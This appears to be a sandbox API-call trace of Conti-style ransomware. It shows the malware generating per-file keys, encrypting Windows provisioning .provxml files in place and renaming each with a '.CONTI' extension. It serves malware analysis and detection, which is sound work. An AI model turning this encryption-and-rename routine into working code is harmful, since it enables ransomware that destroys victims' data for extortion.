	[0109.411] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\232__Connections_Cellular_Wataniya (Kuwait)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\232__connections_cellular_wataniya (kuwait)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.411] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\232__Connections_Cellular_Wataniya (Kuwait)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\232__connections_cellular_wataniya (kuwait)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0109.411] GetLastError () returned 0x0
	[0109.411] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x447fe40 | out: lpFileSize=0x447fe40*=654) returned 1
	[0109.411] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x28e
	[0109.411] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.412] SetEndOfFile (hFile=0x39c) returned 1
	[0109.412] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.412] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.412] WriteFile (in: hFile=0x39c, lpBuffer=0x651575c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x447fe4c, lpOverlapped=0x0 | out: lpBuffer=0x651575c*, lpNumberOfBytesWritten=0x447fe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0109.413] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.414] ReadFile (in: hFile=0x39c, lpBuffer=0xbbf0000, nNumberOfBytesToRead=0x28e, lpNumberOfBytesRead=0x447fe6c, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesRead=0x447fe6c*=0x28e, lpOverlapped=0x0) returned 1
	[0109.414] CryptEncrypt (in: hKey=0x6b7f4f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x28e, dwBufLen=0x500000 | out: pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x290) returned 1
	[0109.414] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.414] WriteFile (in: hFile=0x39c, lpBuffer=0xbbf0000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x447fe80, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesWritten=0x447fe80*=0x290, lpOverlapped=0x0) returned 1
	[0109.414] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.414] WriteFile (in: hFile=0x39c, lpBuffer=0x6515750*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x447fe98, lpOverlapped=0x0 | out: lpBuffer=0x6515750*, lpNumberOfBytesWritten=0x447fe98*=0x8, lpOverlapped=0x0) returned 1
	[0109.414] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.414] CloseHandle (hObject=0x39c) returned 1
	[0109.414] GetProcessHeap () returned 0x1720000
	[0109.414] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17fee28
	[0109.414] lstrcpyW (in: lpString1=0x17fee28, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\232__Connections_Cellular_Wataniya (Kuwait)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\232__Connections_Cellular_Wataniya (Kuwait)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\232__Connections_Cellular_Wataniya (Kuwait)_i0$(__MVID)@WAP.provxml"
	[0109.414] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\232__Connections_Cellular_Wataniya (Kuwait)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\232__Connections_Cellular_Wataniya (Kuwait)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\232__Connections_Cellular_Wataniya (Kuwait)_i0$(__MVID)@WAP.provxml.CONTI"
	[0109.414] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\232__Connections_Cellular_Wataniya (Kuwait)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\232__connections_cellular_wataniya (kuwait)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\232__Connections_Cellular_Wataniya (Kuwait)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\232__connections_cellular_wataniya (kuwait)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0109.415] GetProcessHeap () returned 0x1720000
	[0109.415] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17fee28 | out: hHeap=0x1720000) returned 1
	[0109.415] CryptDestroyKey (hKey=0x6b7f4f8) returned 1
	[0109.415] GetProcessHeap () returned 0x1720000
	[0109.415] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6fb8 | out: hHeap=0x1720000) returned 1
	[0109.415] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0109.415] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x6515080 | out: phKey=0x6515080*=0x6b7f3f8) returned 1
	[0109.415] CryptExportKey (in: hKey=0x6b7f3f8, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6515084, pdwDataLen=0x447fe94 | out: pbData=0x6515084*, pdwDataLen=0x447fe94*=0x20c) returned 1
	[0109.416] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\233__Connections_Cellular_Zain (Kuwait)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\233__connections_cellular_zain (kuwait)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.416] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\233__Connections_Cellular_Zain (Kuwait)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\233__connections_cellular_zain (kuwait)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0109.416] GetLastError () returned 0x0
	[0109.416] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x447fe40 | out: lpFileSize=0x447fe40*=700) returned 1
	[0109.416] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2bc
	[0109.416] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.416] SetEndOfFile (hFile=0x39c) returned 1
	[0109.416] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.416] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.416] WriteFile (in: hFile=0x39c, lpBuffer=0x6515084*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x447fe4c, lpOverlapped=0x0 | out: lpBuffer=0x6515084*, lpNumberOfBytesWritten=0x447fe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0110.434] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.434] ReadFile (in: hFile=0x39c, lpBuffer=0xbbf0000, nNumberOfBytesToRead=0x2bc, lpNumberOfBytesRead=0x447fe6c, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesRead=0x447fe6c*=0x2bc, lpOverlapped=0x0) returned 1
	[0110.434] CryptEncrypt (in: hKey=0x6b7f3f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x2bc, dwBufLen=0x500000 | out: pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x2c0) returned 1
	[0110.434] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.434] WriteFile (in: hFile=0x39c, lpBuffer=0xbbf0000*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x447fe80, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesWritten=0x447fe80*=0x2c0, lpOverlapped=0x0) returned 1
	[0110.434] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.434] WriteFile (in: hFile=0x39c, lpBuffer=0x6515078*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x447fe98, lpOverlapped=0x0 | out: lpBuffer=0x6515078*, lpNumberOfBytesWritten=0x447fe98*=0x8, lpOverlapped=0x0) returned 1
	[0110.434] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.434] CloseHandle (hObject=0x39c) returned 1
	[0110.449] GetProcessHeap () returned 0x1720000
	[0110.449] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0110.986] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\233__Connections_Cellular_Zain (Kuwait)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\233__Connections_Cellular_Zain (Kuwait)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\233__Connections_Cellular_Zain (Kuwait)_i0$(__MVID)@WAP.provxml"
	[0110.986] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\233__Connections_Cellular_Zain (Kuwait)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\233__Connections_Cellular_Zain (Kuwait)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\233__Connections_Cellular_Zain (Kuwait)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.986] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\233__Connections_Cellular_Zain (Kuwait)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\233__connections_cellular_zain (kuwait)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\233__Connections_Cellular_Zain (Kuwait)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\233__connections_cellular_zain (kuwait)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.986] GetProcessHeap () returned 0x1720000
	[0110.987] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0110.987] CryptDestroyKey (hKey=0x6b7f3f8) returned 1
	[0110.987] GetProcessHeap () returned 0x1720000
	[0110.987] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d7248 | out: hHeap=0x1720000) returned 1
	[0110.987] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0110.987] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x6571cd0 | out: phKey=0x6571cd0*=0x17c84f0) returned 1
	[0110.987] CryptExportKey (in: hKey=0x17c84f0, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6571cd4, pdwDataLen=0x447fe94 | out: pbData=0x6571cd4*, pdwDataLen=0x447fe94*=0x20c) returned 1
	[0110.987] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\385__Connections_Cellular_Singtel (Singapore)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\385__connections_cellular_singtel (singapore)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0110.988] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\385__Connections_Cellular_Singtel (Singapore)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\385__connections_cellular_singtel (singapore)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0110.988] GetLastError () returned 0x0
	[0110.988] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x447fe40 | out: lpFileSize=0x447fe40*=713) returned 1
	[0110.988] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c9
	[0110.988] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.988] SetEndOfFile (hFile=0x380) returned 1
	[0110.988] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.988] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.988] WriteFile (in: hFile=0x380, lpBuffer=0x6571cd4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x447fe4c, lpOverlapped=0x0 | out: lpBuffer=0x6571cd4*, lpNumberOfBytesWritten=0x447fe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0111.313] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.313] ReadFile (in: hFile=0x380, lpBuffer=0xbbf0000, nNumberOfBytesToRead=0x2c9, lpNumberOfBytesRead=0x447fe6c, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesRead=0x447fe6c*=0x2c9, lpOverlapped=0x0) returned 1
	[0111.313] CryptEncrypt (in: hKey=0x17c84f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x2c9, dwBufLen=0x500000 | out: pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x2d0) returned 1
	[0111.313] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.313] WriteFile (in: hFile=0x380, lpBuffer=0xbbf0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x447fe80, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesWritten=0x447fe80*=0x2d0, lpOverlapped=0x0) returned 1
	[0111.313] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.313] WriteFile (in: hFile=0x380, lpBuffer=0x6571cc8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x447fe98, lpOverlapped=0x0 | out: lpBuffer=0x6571cc8*, lpNumberOfBytesWritten=0x447fe98*=0x8, lpOverlapped=0x0) returned 1
	[0111.313] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.313] CloseHandle (hObject=0x380) returned 1
	[0111.367] GetProcessHeap () returned 0x1720000
	[0111.367] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.042] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\385__Connections_Cellular_Singtel (Singapore)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\385__Connections_Cellular_Singtel (Singapore)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\385__Connections_Cellular_Singtel (Singapore)_i1$(__MVID)@WAP.provxml"
	[0112.042] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\385__Connections_Cellular_Singtel (Singapore)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\385__Connections_Cellular_Singtel (Singapore)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\385__Connections_Cellular_Singtel (Singapore)_i1$(__MVID)@WAP.provxml.CONTI"
	[0112.042] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\385__Connections_Cellular_Singtel (Singapore)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\385__connections_cellular_singtel (singapore)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\385__Connections_Cellular_Singtel (Singapore)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\385__connections_cellular_singtel (singapore)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0112.043] GetProcessHeap () returned 0x1720000
	[0112.043] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.043] CryptDestroyKey (hKey=0x17c84f0) returned 1
	[0112.043] GetProcessHeap () returned 0x1720000
	[0112.043] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6587f10 | out: hHeap=0x1720000) returned 1
	[0112.043] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0112.043] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x180f318 | out: phKey=0x180f318*=0x6b7f538) returned 1
	[0112.043] CryptExportKey (in: hKey=0x6b7f538, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x180f31c, pdwDataLen=0x447fe94 | out: pbData=0x180f31c*, pdwDataLen=0x447fe94*=0x20c) returned 1
	[0112.044] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\476__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\476__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0112.044] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\476__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\476__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0112.044] GetLastError () returned 0x0
	[0112.044] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x447fe40 | out: lpFileSize=0x447fe40*=455) returned 1
	[0112.044] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1c7
	[0112.044] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.044] SetEndOfFile (hFile=0x320) returned 1
	[0112.051] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.051] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.051] WriteFile (in: hFile=0x320, lpBuffer=0x180f31c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x447fe4c, lpOverlapped=0x0 | out: lpBuffer=0x180f31c*, lpNumberOfBytesWritten=0x447fe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0112.058] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.058] ReadFile (in: hFile=0x320, lpBuffer=0xbbf0000, nNumberOfBytesToRead=0x1c7, lpNumberOfBytesRead=0x447fe6c, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesRead=0x447fe6c*=0x1c7, lpOverlapped=0x0) returned 1
	[0112.058] CryptEncrypt (in: hKey=0x6b7f538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x1c7, dwBufLen=0x500000 | out: pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x1d0) returned 1
	[0112.058] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.058] WriteFile (in: hFile=0x320, lpBuffer=0xbbf0000*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x447fe80, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesWritten=0x447fe80*=0x1d0, lpOverlapped=0x0) returned 1
	[0112.058] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.058] WriteFile (in: hFile=0x320, lpBuffer=0x180f310*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x447fe98, lpOverlapped=0x0 | out: lpBuffer=0x180f310*, lpNumberOfBytesWritten=0x447fe98*=0x8, lpOverlapped=0x0) returned 1
	[0112.058] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.058] CloseHandle (hObject=0x320) returned 1
	[0112.058] GetProcessHeap () returned 0x1720000
	[0112.058] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.058] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\476__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\476__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\476__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml"
